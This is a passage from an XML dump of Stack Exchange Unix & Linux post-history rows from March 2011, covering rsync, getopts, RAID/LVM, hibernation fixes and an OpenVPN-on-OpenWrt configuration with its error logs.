  <row Id="20870" PostHistoryTypeId="2" PostId="8817" RevisionGUID="dbe39f19-d977-4098-bb05-8d54a251c2b4" CreationDate="2011-03-08T08:46:51.163" UserId="3646" Text="The following grep will restrict rsync's verbose output to a depth of 2 folders: &#xD;&#xA;&#xD;&#xA;    rsync -nPaAXz src_dir dst_dir | grep -E '^/?([^/]+/?){0,2}$'&#xD;&#xA;&#xD;&#xA;Change the `{0,2}` above to `{0,3}` to filter out 3 folders deep. `{0,4}` will filter out 4 folders deep etc.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20871" PostHistoryTypeId="5" PostId="8815" RevisionGUID="ada0a46c-d323-4e4b-992b-ec638089e19e" CreationDate="2011-03-08T08:47:52.513" UserId="2421" Comment="added 556 characters in body" Text="It should go to stdout, so you can type:&#xD;&#xA;&#xD;&#xA;    command --help | less&#xD;&#xA;&#xD;&#xA;This is also recommended by the [Gnu Coding Standards on `--help`][1].&#xD;&#xA;&#xD;&#xA;On the other hand, the usage message that you get when you use an invalid option or omit a required argument should go to stderr, because it's an error message, and you don't want it to feed into the next command in a pipeline.&#xD;&#xA;&#xD;&#xA;When you use `--help`, the usage message is the normal and expected output of the command.  Therefore, it goes to stdout, so it can be piped to another command, like `less` or `grep`.&#xD;&#xA;&#xD;&#xA;When you say `command --bogus-option | other-command`, you don't want the usage message going to stdout, because it's now unexpected output that should not be processed by `other-command`.  Also, if the output of `--help` is more than a handful of lines, then the usage error message should only contain a summary of the `--help` output, and refer the user to `--help` for additional details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/prep/standards/html_node/_002d_002dhelp.html" />
  <row Id="20872" PostHistoryTypeId="2" PostId="8818" RevisionGUID="1bb61faa-4c94-4c01-98d5-954921504c69" CreationDate="2011-03-08T08:50:35.367" UserId="3645" Text="Is there some way to inspect which .Xresources settings are *in effect* at the moment (unlike `xrdb -query`)? For example, I'm on a host which doesn't seem to respect `*reverseVideo: true`, but I don't know whether that is because I wrote it the wrong way (even `*florb: glorb` doesn't raise an error when running `xrdb -merge $HOME/.Xresources`), because the setting is not supported, or some other reason. " />
  <row Id="20873" PostHistoryTypeId="1" PostId="8818" RevisionGUID="1bb61faa-4c94-4c01-98d5-954921504c69" CreationDate="2011-03-08T08:50:35.367" UserId="3645" Text=".Xresources settings in effect" />
  <row Id="20874" PostHistoryTypeId="3" PostId="8818" RevisionGUID="1bb61faa-4c94-4c01-98d5-954921504c69" CreationDate="2011-03-08T08:50:35.367" UserId="3645" Text="éxorgà" />
  <row Id="20875" PostHistoryTypeId="2" PostId="8819" RevisionGUID="58b2fb2d-bc88-4247-9fe7-eb81bcbe9152" CreationDate="2011-03-08T08:54:43.053" UserId="5502" Text="Unless you really need the whole 10 TB I'd rather recommend building 3 RAID 1 arrays and adding those to a LV.&#xD;&#xA;&#xD;&#xA;The reason: The next time you are going to increase your storage capacity, you don't need to replace all 6 disks. Remember that RAID 5 needs identical storage capacity of all drives. You can instead replace just one of your RAID 1 arrays." />
  <row Id="20876" PostHistoryTypeId="2" PostId="8820" RevisionGUID="4fa8d492-c1ac-405b-a2b1-43c428031665" CreationDate="2011-03-08T08:56:35.410" UserId="1131" Text="If you only need one filesystem in your RAID then there are not real advantages of using LVM. Contrary, without LVM on top you get following advantages:&#xD;&#xA;&#xD;&#xA;* reduced overall complexity&#xD;&#xA;* better performance&#xD;&#xA;&#xD;&#xA;Btw, you can resize ext4 filesystems without LVM as well ( resize2fs(8) )." />
  <row Id="20878" PostHistoryTypeId="2" PostId="8822" RevisionGUID="70d168f3-3da6-4340-afa8-dbbfcbaf951d" CreationDate="2011-03-08T09:20:47.263" UserId="688" Text="Say I have this line in &quot;**/etc/fstab**&quot;:&#xD;&#xA;&#xD;&#xA;    /iso/apt.iso /mnt/apt iso9660 loop 0 0&#xD;&#xA;&#xD;&#xA;And I run these commands [as root][1]:&#xD;&#xA;&#xD;&#xA;    mount --all&#xD;&#xA;    apt-cdrom add --no-mount --cdrom /mnt/apt&#xD;&#xA;&#xD;&#xA;I expected the disk to be added as APT source, but nothing happens. What's missing?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/3063/688" />
  <row Id="20879" PostHistoryTypeId="1" PostId="8822" RevisionGUID="70d168f3-3da6-4340-afa8-dbbfcbaf951d" CreationDate="2011-03-08T09:20:47.263" UserId="688" Text="How to add an iso file as APT source" />
  <row Id="20880" PostHistoryTypeId="3" PostId="8822" RevisionGUID="70d168f3-3da6-4340-afa8-dbbfcbaf951d" CreationDate="2011-03-08T09:20:47.263" UserId="688" Text="émountàéaptà" />
  <row Id="20881" PostHistoryTypeId="2" PostId="8823" RevisionGUID="6258e2dd-9285-4a4f-9c21-ce4cd2346ffe" CreationDate="2011-03-08T09:35:59.633" UserId="5289" Text="Is there a good GUI-application (for example an mplayer GUI or something like banshee) for linux which allows to make and edit playlists (for video files) with different starting and stopping times for each video on the list?" />
  <row Id="20882" PostHistoryTypeId="1" PostId="8823" RevisionGUID="6258e2dd-9285-4a4f-9c21-ce4cd2346ffe" CreationDate="2011-03-08T09:35:59.633" UserId="5289" Text="Video playlists with start and end times" />
  <row Id="20883" PostHistoryTypeId="3" PostId="8823" RevisionGUID="6258e2dd-9285-4a4f-9c21-ce4cd2346ffe" CreationDate="2011-03-08T09:35:59.633" UserId="5289" Text="évideoàéguiàémplayeràévlcàémediaà" />
  <row Id="20884" PostHistoryTypeId="2" PostId="8824" RevisionGUID="a6642da1-f398-4843-9274-1e875e33d8c2" CreationDate="2011-03-08T09:38:58.583" UserId="5501" Text="The main goals of EGLIBC (described http://www.eglibc.org/mission) are all targeting embedded platforms:&#xD;&#xA;&#xD;&#xA;- Provide options to reduce on-disk and in-memory footprint:&#xD;&#xA;As long as you want to keep binary compatibility to glibc these options are useless or have nearly no effect on x86-64.&#xD;&#xA;- Support cross-compilation and cross-validation:&#xD;&#xA;Well... Who does cross-compiling for x86-64...&#xD;&#xA;- Support processors used in embedded systems:&#xD;&#xA;I guess you don't run &quot;x86-64&quot; embedded systems, so it's useless, too.&#xD;&#xA;- Incorporate support for processor-specific functionality where appropriate:&#xD;&#xA;glibc already has full optimizations for x86&#xD;&#xA;- Retain API and ABI compatability with GLIBC wherever feasible.&#xD;&#xA;&#xD;&#xA;I wouldn't suggest using eglibc unless your distribution fully supports it, otherwise you may sometimes break linking when full ABI compatibility is not possible.&#xD;&#xA;Though, many developers criticize the development-style of glibc and so non-technical reasons may favor eglibc over glibc.&#xD;&#xA;&#xD;&#xA;API and ABI compatibility between eglibc and glibc disallow big changes and all x86-64 optimizations are probably merged into glibc, too." />
  <row Id="20887" PostHistoryTypeId="2" PostId="8827" RevisionGUID="030f0b44-5cc6-41a2-81a7-19f55d2b8f14" CreationDate="2011-03-08T10:13:21.410" UserId="4778" Text="I have Debian 6, I have also seen this under Ubuntu (can not remember how I fixed it).&#xD;&#xA;&#xD;&#xA;I can hibernate, but when I switch on the system cold boots (it does not restore previous session).&#xD;&#xA;" />
  <row Id="20888" PostHistoryTypeId="1" PostId="8827" RevisionGUID="030f0b44-5cc6-41a2-81a7-19f55d2b8f14" CreationDate="2011-03-08T10:13:21.410" UserId="4778" Text="hibernate not restoring" />
  <row Id="20889" PostHistoryTypeId="3" PostId="8827" RevisionGUID="030f0b44-5cc6-41a2-81a7-19f55d2b8f14" CreationDate="2011-03-08T10:13:21.410" UserId="4778" Text="éubuntuàédebianàébootàégrubàéhibernateà" />
  <row Id="20894" PostHistoryTypeId="2" PostId="8830" RevisionGUID="4a3d3fea-88da-49a2-bc6d-00d643cb5312" CreationDate="2011-03-08T10:43:16.980" UserId="5250" Text="I want to write a shell script which will take some arguments with some options and print that arguments. Suppose the name of that script is `abc.ksh`. Usage of that script is -  &#xD;&#xA;`./abc.ksh -[a &lt;arg&gt;|b &lt;arg&gt;|c|d] &lt;some_string&gt;`  &#xD;&#xA;Now I write a shell script which will take options and arguments  &#xD;&#xA;&#xD;&#xA;    #!/bin/ksh&#xD;&#xA;    &#xD;&#xA;    # Default Values&#xD;&#xA;    vara=&quot;,&quot;&#xD;&#xA;    varb=false&#xD;&#xA;    varbname=&quot;&quot;&#xD;&#xA;    varc=false&#xD;&#xA;    &#xD;&#xA;    # Scanning inputs&#xD;&#xA;    while getopts :a:b:cd option&#xD;&#xA;    do&#xD;&#xA;            case $option in&#xD;&#xA;                    a) vara=$OPTARG;;&#xD;&#xA;                       #shift $((OPTIND-1));;&#xD;&#xA;                    b) varb=true&#xD;&#xA;                       varbname=$OPTARG;;&#xD;&#xA;                       #shift $((OPTIND-1));;&#xD;&#xA;                    c) varc=true;;&#xD;&#xA;                       #shift $((OPTIND-1));;&#xD;&#xA;                    d) echo &quot;Usage $0 \-[a|b|c|d] &lt;filename&gt;&quot;&#xD;&#xA;                       exit 0;;&#xD;&#xA;                    \?) echo &quot;Invalid option -$OPTARG. Please run '$0 -h' for help&quot;&#xD;&#xA;                        exit 1;;&#xD;&#xA;                    :) echo &quot;Option -$OPTARG requires an argument. Please run '$0 -d' for help&quot;&#xD;&#xA;                       exit 1;;&#xD;&#xA;    esac&#xD;&#xA;    done&#xD;&#xA;    &#xD;&#xA;    print &quot;Args: $* \nvara: $vara \noptfile: $varb \nvarbname: $varbname \nvarc: $varc&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Examples of Correct Inputs:**  &#xD;&#xA;&#xD;&#xA; - `./abc.ksh -a &quot;sample text&quot; &quot;some_string&quot;`&#xD;&#xA; - `./abc.ksh &quot;some_string&quot; -a &quot;sample text&quot;`&#xD;&#xA; - `./abc.ksh -asample\ text some_string`&#xD;&#xA; - etc...  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`some_string` input is not catch in my script. How can I catch that?" />
  <row Id="20895" PostHistoryTypeId="1" PostId="8830" RevisionGUID="4a3d3fea-88da-49a2-bc6d-00d643cb5312" CreationDate="2011-03-08T10:43:16.980" UserId="5250" Text="How to catch optioned and non optioned arguments correctly?" />
  <row Id="20896" PostHistoryTypeId="3" PostId="8830" RevisionGUID="4a3d3fea-88da-49a2-bc6d-00d643cb5312" CreationDate="2011-03-08T10:43:16.980" UserId="5250" Text="éshellöscriptàéinputàéoptionsà" />
  <row Id="20897" PostHistoryTypeId="2" PostId="8831" RevisionGUID="35e83420-4fb3-4dd6-a572-8edfa0145d33" CreationDate="2011-03-08T10:53:43.863" UserId="4542" Text="LVM on top of anything is probably a good idea because it gives you quite a bit of flexibility at pretty marginal cost (the extra abstraction layer is really cheap compared to disk I/O).&#xD;&#xA;&#xD;&#xA;That said, I'd use RAID6, as RAID5 leaves you with no redundancy during a rebuild, which is precisely the time of high stress where drives are most likely to fail." />
  <row Id="20898" PostHistoryTypeId="25" PostId="8827" RevisionGUID="8ded2f8c-5ccf-4613-8952-e913c8ab3717" CreationDate="2011-03-08T11:23:39.783" Comment="http://twitter.com/#!/StackUnix/status/45082246318800896" />
  <row Id="20901" PostHistoryTypeId="2" PostId="8832" RevisionGUID="df427ef8-660e-4a0a-bd8e-28675038b035" CreationDate="2011-03-08T11:49:34.427" UserId="524" Text="This is a common issue for hibernate and suspend in Ubuntu / Debian.&#xD;&#xA;&#xD;&#xA;1. install uswsusp&#xD;&#xA;&#xD;&#xA;    sudo apt-get install uswsusp&#xD;&#xA;&#xD;&#xA;2. then try the following for suspend and hibernate respectively,&#xD;&#xA;&#xD;&#xA;    sudo s2ram&#xD;&#xA;    &#xD;&#xA;    sudo s2disk&#xD;&#xA;&#xD;&#xA;3. if it works, then you can make it permanent, back up the following,&#xD;&#xA;&#xD;&#xA;    sudo cp /usr/lib/hal/scripts/linux/hal-system-power-suspend-linux /usr/lib/hal/scripts/linux/hal-system-power-suspend-linux.bak&#xD;&#xA;    &#xD;&#xA;    sudo cp /usr/lib/hal/scripts/linux/hal-system-power-hibernate-linux /usr/lib/hal/scripts/linux/hal-system-power-hibernate-linux.bak&#xD;&#xA;&#xD;&#xA;4. use the following,&#xD;&#xA;&#xD;&#xA;in `/usr/lib/hal/scripts/linux/hal-system-power-suspend-linux`&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    /sbin/s2ram –force&#xD;&#xA;&#xD;&#xA;in `/usr/lib/hal/scripts/linux/hal-system-power-hibernate-linux`&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    /sbin/s2disk&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20902" PostHistoryTypeId="5" PostId="8832" RevisionGUID="94f50bb7-53c4-4273-be83-999e8baade95" CreationDate="2011-03-08T11:59:27.677" UserId="524" Comment="added 16 characters in body; deleted 24 characters in body" Text="This is a common issue for hibernate and suspend in Ubuntu / Debian.&#xD;&#xA;&#xD;&#xA;install uswsusp &#xD;&#xA;&#xD;&#xA;    sudo apt-get install uswsusp&#xD;&#xA;&#xD;&#xA;then try the following for suspend and hibernate respectively,&#xD;&#xA;&#xD;&#xA;    sudo s2ram&#xD;&#xA;    &#xD;&#xA;    sudo s2disk&#xD;&#xA;&#xD;&#xA;if it works, then you can make it permanent, back up the following,&#xD;&#xA;&#xD;&#xA;    sudo cp /usr/lib/hal/scripts/linux/hal-system-power-suspend-linux /usr/lib/hal/scripts/linux/hal-system-power-suspend-linux.bak&#xD;&#xA;    &#xD;&#xA;    sudo cp /usr/lib/hal/scripts/linux/hal-system-power-hibernate-linux /usr/lib/hal/scripts/linux/hal-system-power-hibernate-linux.bak&#xD;&#xA;&#xD;&#xA;and edit the following,&#xD;&#xA;&#xD;&#xA;    /usr/lib/hal/scripts/linux/hal-system-power-suspend-linux&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    /sbin/s2ram –force&#xD;&#xA;&#xD;&#xA;    /usr/lib/hal/scripts/linux/hal-system-power-hibernate-linux&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    /sbin/s2disk&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20903" PostHistoryTypeId="2" PostId="8833" RevisionGUID="63fba7ae-47ca-4455-abac-dd8b477e15b7" CreationDate="2011-03-08T12:11:10.303" UserId="4667" Text="After capturing your options&#xD;&#xA;&#xD;&#xA;    shift $OPTIND&#xD;&#xA;    if [ $# -eq 1 ]; then&#xD;&#xA;      some_str=&quot;$1&quot;&#xD;&#xA;    else&#xD;&#xA;      echo &quot;Error: missing argument&quot; &gt;&amp;2&#xD;&#xA;    fi" />
  <row Id="20905" PostHistoryTypeId="2" PostId="8835" RevisionGUID="4b392de2-8de6-4d49-b9a5-c9eacfdcc3f5" CreationDate="2011-03-08T12:42:57.483" UserId="4477" Text="LVM and RAID have some similar functionality (both can do mirroring and stripping) but they serve different purposes.&#xD;&#xA;&#xD;&#xA;RAID is designed to make the storage more reliable, faster and bigger. The differend RAID levels each avchieve one or more of these 3 goals. For example RAID-0 gives you speed and more space while RAID-1 provides reliablility and fast read. RAID-5 gives you some reliability at the cost of some write speed RAID-6 does this even more. With 10TB I would consider creating partitions on the disks and adding the partitions to different RAID arrays. For example you can have swap on RAID-0, system files on RAID-5, boot partition on RAID-1 (so grub can use it), /home on RAID1+0.&#xD;&#xA;&#xD;&#xA;LVM is designed to hide what storage you use. It doesn't matter how many disks or where all you see is a logical volume. You can easily add/remove physical volumes without the filesystems on the logical volume knowing about it. Most importantly it gives you snapshots. Snapshots save lives. Make one before every upgrade or make a daily snapshot of /home. An other advantage is not having to know in advance how large the filesystems will be. You can create small LVs and grow them as needed. Use the extra space for snapshots don't just create a 9.9TB /home immediately.&#xD;&#xA;&#xD;&#xA;So yes it makes sense to use both." />
  <row Id="20909" PostHistoryTypeId="2" PostId="8837" RevisionGUID="76fa9d73-9b3b-459e-9ca1-24bbe07f4af1" CreationDate="2011-03-08T13:02:08.637" UserId="2180" Text="It is typical for programs to force the &quot;some_string&quot; part to be the last argument so that `.abc.ksh &quot;some_string&quot; -a &quot;sample text&quot;` is an error. If you do this, then after parsing the options, `$OPTIND` holds the index to the last argument (the `&quot;some_string&quot;` part).&#xD;&#xA;&#xD;&#xA;If that is not acceptable, then you can check at the beginning (before you enter the `while` to see if there is a non-prefixed argument. This will let you have `&quot;some_string&quot;` at the beginning and at the end. If you needed to have it in the middle, you could either not use `getopts` or you could have two sets of `getopts`. When the first one errors out, it could be due to the non-prefixed argument; get it and start a new `getopts` to get the remaining args. Or you can skip getopts all together and roll your own solution." />
  <row Id="20911" PostHistoryTypeId="2" PostId="8838" RevisionGUID="08152105-da76-4106-86e8-f69dd07effe7" CreationDate="2011-03-08T13:18:49.293" UserId="732" Text="Doesn't `xrdb -query -all` do what you want?&#xD;&#xA;&#xD;&#xA;I have some fairly unorthodox settings loaded at X-startup from my .Xresources, and it gives them back to me:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     6:14AM 68 % xrdb -all -query&#xD;&#xA;    XTerm*VT100*translations:       #override \n &lt;Key&gt;F2: insert-selection(PRIMARY,CUT_BUFFER0)&#xD;&#xA;    XTerm*VT100.charClass:  33:48,35:48,37:48,42:48,45-47:48,64:48,95:48,126:48&#xD;&#xA;    XTerm*VT100.cutNewLine: false&#xD;&#xA;    XTerm*VT100.cutToBeginningOfLine:       false&#xD;&#xA;    XTerm*VT100.saveLines:  1000&#xD;&#xA;    XTerm*VT100.scrollBar:  true&#xD;&#xA;    scrollstyle:    plain&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20912" PostHistoryTypeId="5" PostId="8800" RevisionGUID="cc7fb6b0-583f-4edf-9d2d-eed11c16a879" CreationDate="2011-03-08T13:42:33.003" UserId="2511" Comment="added 9 characters in body" Text="So, this appears to be a [really new][1] graphics card. You'll need both an up-to-date X driver and a really recent kernel — in fact, you need the not-yet-released (as of early March 2011) 2.6.38 kernel. (See [this article for more on the upcoming kernel release][2].)&#xD;&#xA;&#xD;&#xA;The good news is that the pre-release 2.6.38 kernel is already in the tree for Fedora 15, and the Fedora 15 Alpha release is scheduled for _tomorrow_. So, if you check back at http://torrent.fedoraproject.org/ in a few hours, that should be available to download. I can't promise that that'll make the card work, but the signs look positive.&#xD;&#xA;&#xD;&#xA;It's possible (likely even) that the required bits will make it into Fedora 14 in a few months. So just waiting is another option.&#xD;&#xA;&#xD;&#xA;(Honestly, I think _either_ of those will be a better option than the proprietary binary driver. I've had no end of trouble from that. It's faster at 3D, so if top 3D performance is your main need, it might be worth it, but for general use, eh.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fireballtech.com/tag/linux-driver-radeon-6450/&#xD;&#xA;  [2]: http://www.h-online.com/open/features/Kernel-Log-Coming-in-2-6-38-Part-1-Graphics-1176900.html" />
  <row Id="20913" PostHistoryTypeId="25" PostId="8814" RevisionGUID="7722c9ce-f9c0-4baa-8ce4-5ad958a0e926" CreationDate="2011-03-08T14:23:39.433" Comment="http://twitter.com/#!/StackUnix/status/45127543778582529" />
  <row Id="20914" PostHistoryTypeId="2" PostId="8839" RevisionGUID="7aff4d55-f7b5-42a0-9c32-161c05961bf0" CreationDate="2011-03-08T14:42:20.317" UserId="3613" Text="There is a difference as to if resources are loaded into an X11 server and they're loaded by a client. For instance, you could change the server's resources after launching a client.&#xD;&#xA;&#xD;&#xA;To get the current server resources, you can use 'xrdb -query -all'.&#xD;&#xA;&#xD;&#xA;For getting the current client resources, I'm not aware of a solution, but *editres*(1) will allow you to send resources to a compliant client while it is running. You'll probably have luck with applications that use the Xaw and Motif-era toolkits, but less (or no) luck with GTK and QT applications. A good example is 'xterm', you can turn the scrollbar on and off via editres without restarting the client." />
  <row Id="20915" PostHistoryTypeId="5" PostId="8775" RevisionGUID="6c520436-8e2b-4dfd-84b1-4a36452ebb43" CreationDate="2011-03-08T14:46:31.790" UserId="4724" Comment="added 5847 characters in body" Text="I have installed an OpenVPN server on my OpenWrt 10.03 router [freshly flashed]: &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;https://pastebin.com/raw.php?i=hRECWuf1&lt;br&gt;&#xD;&#xA;&#xD;&#xA;`echo &quot;nameserver 8.8.8.8&quot; &gt; /etc/resolv.conf; opkg update; opkg install luci-app-openvpn openvpn openssl-util openssh-sftp-server ntpd`&lt;br&gt;&#xD;&#xA;`vim /etc/ssl/openssl.cnf # modify a few lines`&lt;br&gt;&#xD;&#xA;`[ CA_default ]`&lt;br&gt;&#xD;&#xA;`dir             = /etc/openvpn`&lt;br&gt;&#xD;&#xA;`new_certs_dir	= $dir/certs`&lt;br&gt;&#xD;&#xA;`certificate	= $dir/ca.crt`&lt;br&gt;&#xD;&#xA;`private_key	= $dir/ca.key`&lt;br&gt;&#xD;&#xA;``&lt;br&gt;&#xD;&#xA;`touch /etc/openvpn/index.txt; touch /etc/openvpn/serial; echo 01 &gt; /etc/openvpn/serial`&lt;br&gt;&#xD;&#xA;`openssl req -nodes -new -x509 -keyout /etc/openvpn/ca.key -out /etc/openvpn/ca.crt -days 3650 # give a common name, like: vpnserver`&lt;br&gt;&#xD;&#xA;`openvpn --genkey --secret /etc/openvpn/ta.key`&lt;br&gt;&#xD;&#xA;`openssl req -nodes -new -keyout /etc/openvpn/server.key -out /etc/openvpn/server.csr # give a common name, like: vpnserver`&lt;br&gt;&#xD;&#xA;`mkdir -p /etc/openvpn/certs; mkdir -p /etc/openvpn/private`&lt;br&gt;&#xD;&#xA;`openssl ca -out /etc/openvpn/server.crt -in /etc/openvpn/server.csr`&lt;br&gt;&#xD;&#xA;`time openssl dhparam -out /etc/openvpn/dh1024.pem 1024 # it could take 10 minutes!`&lt;br&gt;&#xD;&#xA;``&lt;br&gt;&#xD;&#xA;`# generate certs for clients [X = client number]`&lt;br&gt;&#xD;&#xA;`openssl req -nodes -new -keyout /etc/openvpn/clientX.key -out /etc/openvpn/clientX.csr # give a common name! it will be the user name`&lt;br&gt;&#xD;&#xA;`openssl ca -out /etc/openvpn/clientX.crt -in /etc/openvpn/clientX.csr`&lt;br&gt;&#xD;&#xA;`# e.g.: `&lt;br&gt;&#xD;&#xA;`openssl req -nodes -new -keyout /etc/openvpn/client1.key -out /etc/openvpn/client1.csr # give a common name! it will be the user name`&lt;br&gt;&#xD;&#xA;`openssl ca -out /etc/openvpn/client1.crt -in /etc/openvpn/client1.csr`&lt;br&gt;&#xD;&#xA;``&lt;br&gt;&#xD;&#xA;`vim /etc/config/openvpn`&lt;br&gt;&#xD;&#xA;`config 'openvpn' 'openvpn_server'`&lt;br&gt;&#xD;&#xA;`	option 'enable' '1'`&lt;br&gt;&#xD;&#xA;`	option 'port' '1194'`&lt;br&gt;&#xD;&#xA;`	option 'proto' 'udp'`&lt;br&gt;&#xD;&#xA;`	option 'dev' 'tap'`&lt;br&gt;&#xD;&#xA;`	option 'ca' '/etc/openvpn/ca.crt'`&lt;br&gt;&#xD;&#xA;`	option 'cert' '/etc/openvpn/server.crt'`&lt;br&gt;&#xD;&#xA;`	option 'key' '/etc/openvpn/server.key'`&lt;br&gt;&#xD;&#xA;`	option 'tls_auth' '/etc/openvpn/ta.key 0' # server: 0`&lt;br&gt;&#xD;&#xA;`	option 'dh' '/etc/openvpn/dh1024.pem'`&lt;br&gt;&#xD;&#xA;`	option 'comp_lzo' '1'`&lt;br&gt;&#xD;&#xA;`	option 'server' '10.20.30.0 255.255.255.0'`&lt;br&gt;&#xD;&#xA;`	option 'keepalive' '10 120'`&lt;br&gt;&#xD;&#xA;`	option 'persist_key' '1'`&lt;br&gt;&#xD;&#xA;`	option 'persist_tun' '1'`&lt;br&gt;&#xD;&#xA;`	option 'mute' '20'`&lt;br&gt;&#xD;&#xA;`	option 'verb' '3'`&lt;br&gt;&#xD;&#xA;`	option 'client_to_client' '1'`&lt;br&gt;&#xD;&#xA;`	list 'push' 'dhcp-option DNS 10.20.30.1'`&lt;br&gt;&#xD;&#xA;`/etc/init.d/openvpn enable`&lt;br&gt;&#xD;&#xA;`/etc/init.d/openvpn start`&lt;br&gt;&#xD;&#xA;`ifconfig -a | less`&lt;br&gt;&#xD;&#xA;`ping 10.20.30.1`&lt;br&gt;&#xD;&#xA;``&lt;br&gt;&#xD;&#xA;`# here comes the firewall part`&lt;br&gt;&#xD;&#xA;`vim /etc/config/firewall # modify it`&lt;br&gt;&#xD;&#xA;`config 'include'`&lt;br&gt;&#xD;&#xA;`	option 'path' '/etc/firewall.user'`&lt;br&gt;&#xD;&#xA;``&lt;br&gt;&#xD;&#xA;`config 'redirect'`&lt;br&gt;&#xD;&#xA;`	option 'src' 'wan'`&lt;br&gt;&#xD;&#xA;`	option 'proto' 'udp'`&lt;br&gt;&#xD;&#xA;`	option 'src_dport' '1194'`&lt;br&gt;&#xD;&#xA;`	option 'dest_port' '1194'`&lt;br&gt;&#xD;&#xA;`	option '_name' 'OpenVPN'`&lt;br&gt;&#xD;&#xA;``&lt;br&gt;&#xD;&#xA;`vim /etc/firewall.user # modify it`&lt;br&gt;&#xD;&#xA;`iptables -t nat -A prerouting_rule -i $WAN -p udp --dport 11194 -j ACCEPT`&lt;br&gt;&#xD;&#xA;`iptables -A input_rule -i $WAN -p udp --dport 11194 -j ACCEPT`&lt;br&gt;&#xD;&#xA;`iptables -A forwarding_rule -i tap+ -o br-lan -j ACCEPT`&lt;br&gt;&#xD;&#xA;`iptables -A forwarding_rule -i br-lan -o tap+ -j ACCEPT`&lt;br&gt;&#xD;&#xA;`iptables -A input_rule -i tap+ -j ACCEPT`&lt;br&gt;&#xD;&#xA;`iptables -A output_rule -o tap -j ACCEPT`&lt;br&gt;&#xD;&#xA;``&lt;br&gt;&#xD;&#xA;`/etc/init.d/firewall restart`&lt;br&gt;&#xD;&#xA;``&lt;br&gt;&#xD;&#xA;`# tar the files that goes to the client1`&lt;br&gt;&#xD;&#xA;`mkdir -p /root/client1`&lt;br&gt;&#xD;&#xA;`cp /etc/openvpn/ca.crt /root/client1/; cp /etc/openvpn/client1.crt /root/client1/; cp /etc/openvpn/client1.key /root/client1/; cp /etc/openvpn/ta.key /root/client1/`&lt;br&gt;&#xD;&#xA;`cd /root/; tar -cf client1.tar client1`&lt;br&gt;&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;It seems &quot;ok&quot;.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I connect my pc to the lan port of the router, and i want to try it out. I'm using Fedora 14 with GNOME. In the NetworkManager applet i set these things: &lt;a href=&quot;http://img821.imageshack.us/img821/5266/screenshotxrg.png&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://img822.imageshack.us/img822/6646/screenshot1lti.png&quot;&gt;this&lt;/a&gt;.&lt;br&gt;&#xD;&#xA;Ok!. i try to connect, but it fails. Here are the logs:&lt;br&gt;&#xD;&#xA;https://pastebin.com/raw.php?i=gv2xChxW&lt;br&gt;&#xD;&#xA;&#xD;&#xA;`Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; Starting VPN service 'openvpn'...`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; VPN service 'openvpn' started (org.freedesktop.NetworkManager.openvpn), PID 23552`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; VPN service 'openvpn' appeared; activating connections`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; VPN plugin state changed: 1`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; VPN plugin state changed: 3`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; VPN connection 'elsovpn' (Connect) reply received.`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF nm-openvpn[23554]: OpenVPN 2.1.1 i686-redhat-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11] built on Jan  5 2010`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF nm-openvpn[23554]: WARNING: No server certificate verification method has been enabled.  See http://openvpn.net/howto.html#mitm for more info.`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF nm-openvpn[23554]: NOTE: the current --script-security setting may allow this configuration to call user-defined scripts`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF nm-openvpn[23554]: Cannot load certificate file /home/g/Desktop/client1/client1.crt: error:0200100D:system library:fopen:Permission denied: error:20074002:BIO routines:FILE_CTRL:system lib: error:140AD002:SSL routines:SSL_CTX_use_certificate_file:system lib`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF nm-openvpn[23554]: Exiting`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF kernel: [55630.235164] type=1400 audit(1299508963.340:23608): avc:  denied  { read } for  pid=23554 comm=&quot;openvpn&quot; name=&quot;client1.crt&quot; dev=dm-1 ino=3019385 scontext=system_u:system_r:openvpn_t:s0 tcontext=unconfined_u:object_r:user_home_t:s0 tclass=file`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;warn&gt; VPN plugin failed: 1`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; VPN plugin state changed: 6`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; VPN plugin state change reason: 0`&lt;br&gt;&#xD;&#xA;`Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;warn&gt; error disconnecting VPN: Could not process the request because no VPN connection was 